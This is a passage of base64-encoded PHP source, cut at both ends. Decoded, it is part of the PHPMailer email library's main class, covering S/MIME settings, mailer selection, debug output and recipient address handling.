RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkbWVzc2FnZV90eXBlID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgYXJyYXkgb2YgTUlNRSBib3VuZGFyeSBzdHJpbmdzLg0KICAgICAqIEB2YXIgYXJyYXkNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOw0KDQogICAgLyoqDQogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuDQogICAgICogQHZhciBhcnJheQ0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICRsYW5ndWFnZSA9IGFycmF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgbnVtYmVyIG9mIGVycm9ycyBlbmNvdW50ZXJlZC4NCiAgICAgKiBAdmFyIGludGVnZXINCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkZXJyb3JfY291bnQgPSAwOw0KDQogICAgLyoqDQogICAgICogVGhlIFMvTUlNRSBjZXJ0aWZpY2F0ZSBmaWxlIHBhdGguDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICRzaWduX2tleV9maWxlID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgb3B0aW9uYWwgUy9NSU1FIGV4dHJhIGNlcnRpZmljYXRlcyAoIkNBIENoYWluIikgZmlsZSBwYXRoLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgJHNpZ25fZXh0cmFjZXJ0c19maWxlID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgUy9NSU1FIHBhc3N3b3JkIGZvciB0aGUga2V5Lg0KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkICRzaWduX2tleV9wYXNzID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaGV0aGVyIHRvIHRocm93IGV4Y2VwdGlvbnMgZm9yIGVycm9ycy4NCiAgICAgKiBAdmFyIGJvb2xlYW4NCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkZXhjZXB0aW9ucyA9IGZhbHNlOw0KDQogICAgLyoqDQogICAgICogVW5pcXVlIElEIHVzZWQgZm9yIG1lc3NhZ2UgSUQgYW5kIGJvdW5kYXJpZXMuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqLw0KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuDQogICAgICovDQogICAgY29uc3QgU1RPUF9NRVNTQUdFID0gMDsNCg0KICAgIC8qKg0KICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlLCBsaWtlbHkgb2sgdG8gY29udGludWUgcHJvY2Vzc2luZy4NCiAgICAgKi8NCiAgICBjb25zdCBTVE9QX0NPTlRJTlVFID0gMTsNCg0KICAgIC8qKg0KICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlLCBwbHVzIGZ1bGwgc3RvcCwgY3JpdGljYWwgZXJyb3IgcmVhY2hlZC4NCiAgICAgKi8NCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLg0KICAgICAqLw0KICAgIGNvbnN0IENSTEYgPSAiXHJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgbWF4aW11bSBsaW5lIGxlbmd0aCBhbGxvd2VkIGJ5IFJGQyAyODIyIHNlY3Rpb24gMi4xLjENCiAgICAgKiBAdmFyIGludGVnZXINCiAgICAgKi8NCiAgICBjb25zdCBNQVhfTElORV9MRU5HVEggPSA5OTg7DQoNCiAgICAvKioNCiAgICAgKiBDb25zdHJ1Y3Rvci4NCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGV4Y2VwdGlvbnMgPSBudWxsKQ0KICAgIHsNCiAgICAgICAgaWYgKCRleGNlcHRpb25zICE9PSBudWxsKSB7DQogICAgICAgICAgICAkdGhpcy0+ZXhjZXB0aW9ucyA9IChib29sZWFuKSRleGNlcHRpb25zOw0KICAgICAgICB9DQogICAgICAgIC8vUGljayBhbiBhcHByb3ByaWF0ZSBkZWJ1ZyBvdXRwdXQgZm9ybWF0IGF1dG9tYXRpY2FsbHkNCiAgICAgICAgJHRoaXMtPkRlYnVnb3V0cHV0ID0gKHN0cnBvcyhQSFBfU0FQSSwgJ2NsaScpICE9PSBmYWxzZSA/ICdlY2hvJyA6ICdodG1sJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRGVzdHJ1Y3Rvci4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpDQogICAgew0KICAgICAgICAvL0Nsb3NlIGFueSBvcGVuIFNNVFAgY29ubmVjdGlvbiBuaWNlbHkNCiAgICAgICAgJHRoaXMtPnNtdHBDbG9zZSgpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uDQogICAgICogQWxzbywgdW5sZXNzIHNlbmRtYWlsX3BhdGggcG9pbnRzIHRvIHNlbmRtYWlsIChvciBzb21ldGhpbmcgdGhhdA0KICAgICAqIGNsYWltcyB0byBiZSBzZW5kbWFpbCksIGRvbid0IHBhc3MgcGFyYW1zIChub3QgYSBwZXJmZWN0IGZpeCwNCiAgICAgKiBidXQgaXQgd2lsbCBkbykNCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0byBUbw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdA0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5DQogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIEFkZGl0aW9uYWwgSGVhZGVyKHMpDQogICAgICogQHBhcmFtIHN0cmluZyAkcGFyYW1zIFBhcmFtcw0KICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQ0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQ0KICAgIHsNCiAgICAgICAgLy9DaGVjayBvdmVybG9hZGluZyBvZiBtYWlsIGZ1bmN0aW9uIHRvIGF2b2lkIGRvdWJsZS1lbmNvZGluZw0KICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgew0KICAgICAgICAgICAgJHN1YmplY3QgPSAkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7DQogICAgICAgIH0NCg0KICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcw0KICAgICAgICAvL0BsaW5rIGh0dHA6Ly9waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYWlsLnBocA0KICAgICAgICBpZiAoaW5pX2dldCgnc2FmZV9tb2RlJykgb3IgISR0aGlzLT5Vc2VTZW5kbWFpbE9wdGlvbnMgb3IgaXNfbnVsbCgkcGFyYW1zKSkgew0KICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KICAgIC8qKg0KICAgICAqIE91dHB1dCBkZWJ1Z2dpbmcgaW5mbyB2aWEgdXNlci1kZWZpbmVkIG1ldGhvZC4NCiAgICAgKiBPbmx5IGdlbmVyYXRlcyBvdXRwdXQgaWYgU01UUCBkZWJ1ZyBvdXRwdXQgaXMgZW5hYmxlZCAoQHNlZSBTTVRQOjokZG9fZGVidWcpLg0KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQNCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFNNVFBEZWJ1Zw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cg0KICAgICAqLw0KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlZGVidWcoJHN0cikNCiAgICB7DQogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkdGhpcy0+RGVidWdvdXRwdXQsIGFycmF5KCdlcnJvcl9sb2cnLCAnaHRtbCcsICdlY2hvJykpIGFuZCBpc19jYWxsYWJsZSgkdGhpcy0+RGVidWdvdXRwdXQpKSB7DQogICAgICAgICAgICBjYWxsX3VzZXJfZnVuYygkdGhpcy0+RGVidWdvdXRwdXQsICRzdHIsICR0aGlzLT5TTVRQRGVidWcpOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIHN3aXRjaCAoJHRoaXMtPkRlYnVnb3V0cHV0KSB7DQogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOg0KICAgICAgICAgICAgICAgIC8vRG9uJ3Qgb3V0cHV0LCBqdXN0IGxvZw0KICAgICAgICAgICAgICAgIGVycm9yX2xvZygkc3RyKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2h0bWwnOg0KICAgICAgICAgICAgICAgIC8vQ2xlYW5zIHVwIG91dHB1dCBhIGJpdCBmb3IgYSBiZXR0ZXIgbG9va2luZywgSFRNTC1zYWZlIG91dHB1dA0KICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKA0KICAgICAgICAgICAgICAgICAgICBwcmVnX3JlcGxhY2UoJy9bXHJcbl0rLycsICcnLCAkc3RyKSwNCiAgICAgICAgICAgICAgICAgICAgRU5UX1FVT1RFUywNCiAgICAgICAgICAgICAgICAgICAgJ1VURi04Jw0KICAgICAgICAgICAgICAgICkNCiAgICAgICAgICAgICAgICAuICI8YnI+XG4iOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnZWNobyc6DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzDQogICAgICAgICAgICAgICAgJHN0ciA9IHByZWdfcmVwbGFjZSgnL1xyXG4/L21zJywgIlxuIiwgJHN0cik7DQogICAgICAgICAgICAgICAgZWNobyBnbWRhdGUoJ1ktbS1kIEg6aTpzJykgLiAiXHQiIC4gc3RyX3JlcGxhY2UoDQogICAgICAgICAgICAgICAgICAgICJcbiIsDQogICAgICAgICAgICAgICAgICAgICJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsDQogICAgICAgICAgICAgICAgICAgIHRyaW0oJHN0cikNCiAgICAgICAgICAgICAgICApIC4gIlxuIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgU01UUC4NCiAgICAgKiBAcmV0dXJuIHZvaWQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTTVRQKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc210cCc7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBQSFAncyBtYWlsKCkgZnVuY3Rpb24uDQogICAgICogQHJldHVybiB2b2lkDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGlzTWFpbCgpDQogICAgew0KICAgICAgICAkdGhpcy0+TWFpbGVyID0gJ21haWwnOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgJFNlbmRtYWlsLg0KICAgICAqIEByZXR1cm4gdm9pZA0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1NlbmRtYWlsKCkNCiAgICB7DQogICAgICAgICRpbmlfc2VuZG1haWxfcGF0aCA9IGluaV9nZXQoJ3NlbmRtYWlsX3BhdGgnKTsNCg0KICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgew0KICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7DQogICAgICAgIH0NCiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzZW5kbWFpbCc7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4NCiAgICAgKiBAcmV0dXJuIHZvaWQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpDQogICAgew0KICAgICAgICAkaW5pX3NlbmRtYWlsX3BhdGggPSBpbmlfZ2V0KCdzZW5kbWFpbF9wYXRoJyk7DQoNCiAgICAgICAgaWYgKCFzdHJpc3RyKCRpbmlfc2VuZG1haWxfcGF0aCwgJ3FtYWlsJykpIHsNCiAgICAgICAgICAgICR0aGlzLT5TZW5kbWFpbCA9ICcvdmFyL3FtYWlsL2Jpbi9xbWFpbC1pbmplY3QnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJGluaV9zZW5kbWFpbF9wYXRoOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCBhICJUbyIgYWRkcmVzcy4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lDQogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ3RvJywgJGFkZHJlc3MsICRuYW1lKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuDQogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCB0bw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUNCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2NjJywgJGFkZHJlc3MsICRuYW1lKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLg0KICAgICAqIEBub3RlOiBUaGlzIGZ1bmN0aW9uIHdvcmtzIHdpdGggdGhlIFNNVFAgbWFpbGVyIG9uIHdpbjMyLCBub3Qgd2l0aCB0aGUgIm1haWwiIG1haWxlci4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lDQogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygnYmNjJywgJGFkZHJlc3MsICRuYW1lKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuDQogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byByZXBseSB0bw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUNCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGFkZFJlcGx5VG8oJGFkZHJlc3MsICRuYW1lID0gJycpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygnUmVwbHktVG8nLCAkYWRkcmVzcywgJG5hbWUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCBhbiBhZGRyZXNzIHRvIG9uZSBvZiB0aGUgcmVjaXBpZW50IGFycmF5cyBvciB0byB0aGUgUmVwbHlUbyBhcnJheS4gQmVjYXVzZSBQSFBNYWlsZXINCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbA0KICAgICAqIGJlIG1vZGlmaWVkIGFmdGVyIGNhbGxpbmcgdGhpcyBmdW5jdGlvbiksIGFkZGl0aW9uIG9mIHN1Y2ggYWRkcmVzc2VzIGlzIGRlbGF5ZWQgdW50aWwgc2VuZCgpLg0KICAgICAqIEFkZHJlc3NlcyB0aGF0IGhhdmUgYmVlbiBhZGRlZCBhbHJlYWR5IHJldHVybiBmYWxzZSwgYnV0IGRvIG5vdCB0aHJvdyBleGNlcHRpb25zLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvDQogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQ0KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uDQogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQ0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZE9yRW5xdWV1ZUFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lKQ0KICAgIHsNCiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsNCiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltDQogICAgICAgIGlmICgoJHBvcyA9IHN0cnJwb3MoJGFkZHJlc3MsICdAJykpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4NCiAgICAgICAgICAgICRlcnJvcl9tZXNzYWdlID0gJHRoaXMtPmxhbmcoJ2ludmFsaWRfYWRkcmVzcycpIC4gIiAoYWRkQW5BZGRyZXNzICRraW5kKTogJGFkZHJlc3MiOw0KICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsNCiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOw0KICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOw0KICAgICAgICAvLyBFbnF1ZXVlIGFkZHJlc3NlcyB3aXRoIElETiB1bnRpbCB3ZSBrbm93IHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0Lg0KICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycyhzdWJzdHIoJGFkZHJlc3MsICsrJHBvcykpIGFuZCAkdGhpcy0+aWRuU3VwcG9ydGVkKCkpIHsNCiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7DQogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVjaXBpZW50c1F1ZXVlKSkgew0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVjaXBpZW50c1F1ZXVlWyRhZGRyZXNzXSA9ICRwYXJhbXM7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgew0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVwbHlUb1F1ZXVlWyRhZGRyZXNzXSA9ICRwYXJhbXM7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJbW1lZGlhdGVseSBhZGQgc3RhbmRhcmQgYWRkcmVzc2VzIHdpdGhvdXQgSUROLg0KICAgICAgICByZXR1cm4gY2FsbF91c2VyX2Z1bmNfYXJyYXkoYXJyYXkoJHRoaXMsICdhZGRBbkFkZHJlc3MnKSwgJHBhcmFtcyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5Lg0KICAgICAqIEFkZHJlc3NlcyB0aGF0IGhhdmUgYmVlbiBhZGRlZCBhbHJlYWR5IHJldHVybiBmYWxzZSwgYnV0IGRvIG5vdCB0aHJvdyBleGNlcHRpb25zLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvDQogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQ0KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uDQogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQ0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpDQogICAgew0KICAgICAgICBpZiAoIWluX2FycmF5KCRraW5kLCBhcnJheSgndG8nLCAnY2MnLCAnYmNjJywgJ1JlcGx5LVRvJykpKSB7DQogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOw0KICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsNCiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOw0KICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgew0KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7DQogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOw0KICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7DQogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGtpbmQgIT0gJ1JlcGx5LVRvJykgew0KICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7DQogICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkdGhpcy0+JGtpbmQsIGFycmF5KCRhZGRyZXNzLCAkbmFtZSkpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV0gPSB0cnVlOw0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsNCiAgICAgICAg